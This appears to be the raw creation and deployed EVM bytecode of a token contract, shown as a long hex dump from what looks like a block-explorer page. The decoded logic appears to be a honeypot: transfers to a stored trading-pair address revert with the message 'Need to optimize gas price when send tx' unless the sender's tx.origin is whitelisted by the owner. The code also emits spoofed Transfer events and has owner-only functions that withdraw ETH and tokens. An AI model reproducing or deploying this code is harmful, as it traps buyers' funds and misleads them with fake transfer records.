ffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004cc5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004c3919062000f01565b60405180910390fd5b620004e060008383620004e460201b60201c565b5050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161562000550576200054a8383836200066260201b60201c565b6200065d565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005c657620005bf8484846200066260201b60201c565b506200065d565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000648576200062f8484846200066260201b60201c565b62000641600162000a5e60201b60201c565b506200065d565b6200065b8484846200066260201b60201c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006b8578060026000828254620006ab919062000f4d565b925050819055506200078e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000747578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200073e9392919062000f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007d9578060026000828254039250508190555062000826565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200090b57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008fd919062000fd6565b60405180910390a362000a59565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620009f0578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009e2919062000fd6565b60405180910390a362000a58565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a4f919062000fd6565b60405180910390a35b5b505050565b60003a90508181111562000aa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa0906200107a565b60405180910390fd5b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2f57607f821691505b60208210810362000b455762000b4462000ae7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000baf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b70565b62000bbb868362000b70565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c0862000c0262000bfc8462000bd3565b62000bdd565b62000bd3565b9050919050565b6000819050919050565b62000c248362000be7565b62000c3c62000c338262000c0f565b84845462000b7d565b825550505050565b600090565b62000c5362000c44565b62000c6081848462000c19565b505050565b5b8181101562000c885762000c7c60008262000c49565b60018101905062000c66565b5050565b601f82111562000cd75762000ca18162000b4b565b62000cac8462000b60565b8101602085101562000cbc578190505b62000cd462000ccb8562000b60565b83018262000c65565b50505b505050565b600082821c905092915050565b600062000cfc6000198460080262000cdc565b1980831691505092915050565b600062000d17838362000ce9565b9150826002028217905092915050565b62000d328262000aad565b67ffffffffffffffff81111562000d4e5762000d4d62000ab8565b5b62000d5a825462000b16565b62000d6782828562000c8c565b600060209050601f83116001811462000d9f576000841562000d8a578287015190505b62000d96858262000d09565b86555062000e06565b601f19841662000daf8662000b4b565b60005b8281101562000dd95784890151825560018201915060208501945060208101905062000db2565b8683101562000df9578489015162000df5601f89168262000ce9565b8355505b6001600288020188555050505b505050505050565b600080fd5b62000e1e8162000bd3565b811462000e2a57600080fd5b50565b60008151905062000e3e8162000e13565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e718262000e44565b9050919050565b62000e838162000e64565b811462000e8f57600080fd5b50565b60008151905062000ea38162000e78565b92915050565b6000806040838503121562000ec35762000ec262000e0e565b5b600062000ed38582860162000e2d565b925050602062000ee68582860162000e92565b9150509250929050565b62000efb8162000e64565b82525050565b600060208201905062000f18600083018462000ef0565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f5a8262000bd3565b915062000f678362000bd3565b925082820190508082111562000f825762000f8162000f1e565b5b92915050565b62000f938162000bd3565b82525050565b600060608201905062000fb0600083018662000ef0565b62000fbf602083018562000f88565b62000fce604083018462000f88565b949350505050565b600060208201905062000fed600083018462000f88565b92915050565b600082825260208201905092915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b60006200106260278362000ff3565b91506200106f8262001004565b604082019050919050565b60006020820190508181036000830152620010958162001053565b9050919050565b611e8780620010ac6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610355578063aac0393914610385578063daea85c5146103a3578063dd62ed3e146103bf578063e086e5ec146103ef578063f2fde38b146103f957610142565b806370a08231146102c1578063715018a6146102f15780637b61c320146102fb5780638da5cb5b1461031957806395d89b411461033757610142565b80631e7be2101161010a5780631e7be210146101eb57806323b872dd1461021b5780632711b8a51461024b578063313ce567146102695780634022b75e146102875780636c02a931146102a357610142565b8063068acf6c1461014757806306fdde0314610163578063095ea7b3146101815780630d1d9b8e146101b157806318160ddd146101cd575b600080fd5b610161600480360381019061015c919061164b565b610415565b005b61016b61051e565b6040516101789190611708565b60405180910390f35b61019b60048036038101906101969190611760565b6105b0565b6040516101a891906117bb565b60405180910390f35b6101cb60048036038101906101c6919061164b565b6105d3565b005b6101d561061f565b6040516101e291906117e5565b60405180910390f35b6102056004803603810190610200919061164b565b610629565b60405161021291906117bb565b60405180910390f35b61023560048036038101906102309190611800565b610649565b60405161024291906117bb565b60405180910390f35b610253610678565b60405161026091906117e5565b60405180910390f35b610271610681565b60405161027e919061186f565b60405180910390f35b6102a1600480360381019061029c9190611a95565b61068a565b005b6102ab610750565b6040516102b89190611708565b60405180910390f35b6102db60048036038101906102d6919061164b565b6107de565b6040516102e891906117e5565b60405180910390f35b6102f9610826565b005b61030361083a565b6040516103109190611708565b60405180910390f35b6103216108c8565b60405161032e9190611b2f565b60405180910390f35b61033f6108f2565b60405161034c9190611708565b60405180910390f35b61036f600480360381019061036a9190611760565b610984565b60405161037c91906117bb565b60405180910390f35b61038d6109a7565b60405161039a9190611b2f565b60405180910390f35b6103bd60048036038101906103b8919061164b565b6109cd565b005b6103d960048036038101906103d49190611b4a565b610a30565b6040516103e691906117e5565b60405180910390f35b6103f7610ab7565b005b610413600480360381019061040e919061164b565b610b08565b005b61041d610b8e565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104589190611b2f565b602060405180830381865afa158015610475573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104999190611b9f565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016104d6929190611bcc565b6020604051808303816000875af11580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190611c21565b505050565b60606003805461052d90611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461055990611c7d565b80156105a65780601f1061057b576101008083540402835291602001916105a6565b820191906000526020600020905b81548152906001019060200180831161058957829003601f168201915b5050505050905090565b6000806105bb610c15565b90506105c8818585610c1d565b600191505092915050565b6105db610b8e565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600080610654610c15565b9050610661858285610c2f565b61066c858585610cc3565b60019150509392505050565b60006001905090565b60006012905090565b610692610b8e565b60005b825181101561074a578281815181106106b1576106b0611cae565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061071a57610719611cae565b5b602002602001015160405161072f91906117e5565b60405180910390a3808061074290611d0c565b915050610695565b50505050565b6008805461075d90611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461078990611c7d565b80156107d65780601f106107ab576101008083540402835291602001916107d6565b820191906000526020600020905b8154815290600101906020018083116107b957829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61082e610b8e565b6108386000610db7565b565b6009805461084790611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461087390611c7d565b80156108c05780601f10610895576101008083540402835291602001916108c0565b820191906000526020600020905b8154815290600101906020018083116108a357829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461090190611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461092d90611c7d565b801561097a5780601f1061094f5761010080835404028352916020019161097a565b820191906000526020600020905b81548152906001019060200180831161095d57829003601f168201915b5050505050905090565b60008061098f610c15565b905061099c818585610cc3565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d5610b8e565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610abf610b8e565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b05573d6000803e3d6000fd5b50565b610b10610b8e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b825760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610b799190611b2f565b60405180910390fd5b610b8b81610db7565b50565b610b96610c15565b73ffffffffffffffffffffffffffffffffffffffff16610bb46108c8565b73ffffffffffffffffffffffffffffffffffffffff1614610c1357610bd7610c15565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610c0a9190611b2f565b60405180910390fd5b565b600033905090565b610c2a8383836001610e7d565b505050565b6000610c3b8484610a30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbd5781811015610cad578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ca493929190611d54565b60405180910390fd5b610cbc84848484036000610e7d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d355760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610d2c9190611b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da75760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610d9e9190611b2f565b60405180910390fd5b610db2838383611054565b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610eef5760006040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610ee69190611b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f615760006040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f589190611b2f565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561104e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161104591906117e5565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b6576110b18383836111a4565b61119f565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036111225761111c8484846111a4565b5061119f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611192576111828484846111a4565b61118c600161158d565b5061119f565b61119d8484846111a4565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f65780600260008282546111ea9190611d8b565b925050819055506112c9565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611282578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161127993929190611d54565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611312578060026000828254039250508190555061135f565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361144057600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161143391906117e5565b60405180910390a3611588565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611521578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161151491906117e5565b60405180910390a3611587565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161157e91906117e5565b60405180910390a35b5b505050565b60003a9050818111156115d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cc90611e31565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611618826115ed565b9050919050565b6116288161160d565b811461163357600080fd5b50565b6000813590506116458161161f565b92915050565b600060208284031215611661576116606115e3565b5b600061166f84828501611636565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116b2578082015181840152602081019050611697565b60008484015250505050565b6000601f19601f8301169050919050565b60006116da82611678565b6116e48185611683565b93506116f4818560208601611694565b6116fd816116be565b840191505092915050565b6000602082019050818103600083015261172281846116cf565b905092915050565b6000819050919050565b61173d8161172a565b811461174857600080fd5b50565b60008135905061175a81611734565b92915050565b60008060408385031215611777576117766115e3565b5b600061178585828601611636565b92505060206117968582860161174b565b9150509250929050565b60008115159050919050565b6117b5816117a0565b82525050565b60006020820190506117d060008301846117ac565b92915050565b6117df8161172a565b82525050565b60006020820190506117fa60008301846117d6565b92915050565b600080600060608486031215611819576118186115e3565b5b600061182786828701611636565b935050602061183886828701611636565b92505060406118498682870161174b565b9150509250925092565b600060ff82169050919050565b61186981611853565b82525050565b60006020820190506118846000830184611860565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6118c7826116be565b810181811067ffffffffffffffff821117156118e6576118e561188f565b5b80604052505050565b60006118f96115d9565b905061190582826118be565b919050565b600067ffffffffffffffff8211156119255761192461188f565b5b602082029050602081019050919050565b600080fd5b600061194e6119498461190a565b6118ef565b9050808382526020820190506020840283018581111561197157611970611936565b5b835b8181101561199a57806119868882611636565b845260208401935050602081019050611973565b5050509392505050565b600082601f8301126119b9576119b861188a565b5b81356119c984826020860161193b565b91505092915050565b600067ffffffffffffffff8211156119ed576119ec61188f565b5b602082029050602081019050919050565b6000611a11611a0c846119d2565b6118ef565b90508083825260208201905060208402830185811115611a3457611a33611936565b5b835b81811015611a5d5780611a49888261174b565b845260208401935050602081019050611a36565b5050509392505050565b600082601f830112611a7c57611a7b61188a565b5b8135611a8c8482602086016119fe565b91505092915050565b600080600060608486031215611aae57611aad6115e3565b5b6000611abc86828701611636565b935050602084013567ffffffffffffffff811115611add57611adc6115e8565b5b611ae9868287016119a4565b925050604084013567ffffffffffffffff811115611b0a57611b096115e8565b5b611b1686828701611a67565b9150509250925092565b611b298161160d565b82525050565b6000602082019050611b446000830184611b20565b92915050565b60008060408385031215611b6157611b606115e3565b5b6000611b6f85828601611636565b9250506020611b8085828601611636565b9150509250929050565b600081519050611b9981611734565b92915050565b600060208284031215611bb557611bb46115e3565b5b6000611bc384828501611b8a565b91505092915050565b6000604082019050611be16000830185611b20565b611bee60208301846117d6565b9392505050565b611bfe816117a0565b8114611c0957600080fd5b50565b600081519050611c1b81611bf5565b92915050565b600060208284031215611c3757611c366115e3565b5b6000611c4584828501611c0c565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9557607f821691505b602082108103611ca857611ca7611c4e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d178261172a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d4957611d48611cdd565b5b600182019050919050565b6000606082019050611d696000830186611b20565b611d7660208301856117d6565b611d8360408301846117d6565b949350505050565b6000611d968261172a565b9150611da18361172a565b9250828201905080821115611db957611db8611cdd565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000611e1b602783611683565b9150611e2682611dbf565b604082019050919050565b60006020820190508181036000830152611e4a81611e0e565b905091905056fea264697066735822122026ef98519d8c1434806299f9c50e01ae6f8fb80cf8a3462796362ef502e7f6d564736f6c63430008130033000000000000000000000000000000000000003f1bdf10116048a59340000000000000000000000000000000fe0c6847cb5c8879b0d63ca0169aaf2a484d1d9b

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610355578063aac0393914610385578063daea85c5146103a3578063dd62ed3e146103bf578063e086e5ec146103ef578063f2fde38b146103f957610142565b806370a08231146102c1578063715018a6146102f15780637b61c320146102fb5780638da5cb5b1461031957806395d89b411461033757610142565b80631e7be2101161010a5780631e7be210146101eb57806323b872dd1461021b5780632711b8a51461024b578063313ce567146102695780634022b75e146102875780636c02a931146102a357610142565b8063068acf6c1461014757806306fdde0314610163578063095ea7b3146101815780630d1d9b8e146101b157806318160ddd146101cd575b600080fd5b610161600480360381019061015c919061164b565b610415565b005b61016b61051e565b6040516101789190611708565b60405180910390f35b61019b60048036038101906101969190611760565b6105b0565b6040516101a891906117bb565b60405180910390f35b6101cb60048036038101906101c6919061164b565b6105d3565b005b6101d561061f565b6040516101e291906117e5565b60405180910390f35b6102056004803603810190610200919061164b565b610629565b60405161021291906117bb565b60405180910390f35b61023560048036038101906102309190611800565b610649565b60405161024291906117bb565b60405180910390f35b610253610678565b60405161026091906117e5565b60405180910390f35b610271610681565b60405161027e919061186f565b60405180910390f35b6102a1600480360381019061029c9190611a95565b61068a565b005b6102ab610750565b6040516102b89190611708565b60405180910390f35b6102db60048036038101906102d6919061164b565b6107de565b6040516102e891906117e5565b60405180910390f35b6102f9610826565b005b61030361083a565b6040516103109190611708565b60405180910390f35b6103216108c8565b60405161032e9190611b2f565b60405180910390f35b61033f6108f2565b60405161034c9190611708565b60405180910390f35b61036f600480360381019061036a9190611760565b610984565b60405161037c91906117bb565b60405180910390f35b61038d6109a7565b60405161039a9190611b2f565b60405180910390f35b6103bd60048036038101906103b8919061164b565b6109cd565b005b6103d960048036038101906103d49190611b4a565b610a30565b6040516103e691906117e5565b60405180910390f35b6103f7610ab7565b005b610413600480360381019061040e919061164b565b610b08565b005b61041d610b8e565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104589190611b2f565b602060405180830381865afa158015610475573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104999190611b9f565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016104d6929190611bcc565b6020604051808303816000875af11580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190611c21565b505050565b60606003805461052d90611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461055990611c7d565b80156105a65780601f1061057b576101008083540402835291602001916105a6565b820191906000526020600020905b81548152906001019060200180831161058957829003601f168201915b5050505050905090565b6000806105bb610c15565b90506105c8818585610c1d565b600191505092915050565b6105db610b8e565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600080610654610c15565b9050610661858285610c2f565b61066c858585610cc3565b60019150509392505050565b60006001905090565b60006012905090565b610692610b8e565b60005b825181101561074a578281815181106106b1576106b0611cae565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061071a57610719611cae565b5b602002602001015160405161072f91906117e5565b60405180910390a3808061074290611d0c565b915050610695565b50505050565b6008805461075d90611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461078990611c7d565b80156107d65780601f106107ab576101008083540402835291602001916107d6565b820191906000526020600020905b8154815290600101906020018083116107b957829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61082e610b8e565b6108386000610db7565b565b6009805461084790611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461087390611c7d565b80156108c05780601f10610895576101008083540402835291602001916108c0565b820191906000526020600020905b8154815290600101906020018083116108a357829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461090190611c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461092d90611c7d565b801561097a5780601f1061094f5761010080835404028352916020019161097a565b820191906000526020600020905b81548152906001019060200180831161095d57829003601f168201915b5050505050905090565b60008061098f610c15565b905061099c818585610cc3565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d5610b8e565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610abf610b8e565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b05573d6000803e3d6000fd5b50565b610b10610b8e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b825760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610b799190611b2f565b60405180910390fd5b610b8b81610db7565b50565b610b96610c15565b73ffffffffffffffffffffffffffffffffffffffff16610bb46108c8565b73ffffffffffffffffffffffffffffffffffffffff1614610c1357610bd7610c15565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610c0a9190611b2f565b60405180910390fd5b565b600033905090565b610c2a8383836001610e7d565b505050565b6000610c3b8484610a30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbd5781811015610cad578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ca493929190611d54565b60405180910390fd5b610cbc84848484036000610e7d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d355760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610d2c9190611b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da75760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610d9e9190611b2f565b60405180910390fd5b610db2838383611054565b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610eef5760006040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610ee69190611b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f615760006040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f589190611b2f565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561104e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161104591906117e5565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b6576110b18383836111a4565b61119f565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036111225761111c8484846111a4565b5061119f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611192576111828484846111a4565b61118c600161158d565b5061119f565b61119d8484846111a4565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f65780600260008282546111ea9190611d8b565b925050819055506112c9565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611282578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161127993929190611d54565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611312578060026000828254039250508190555061135f565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361144057600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161143391906117e5565b60405180910390a3611588565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611521578173ffff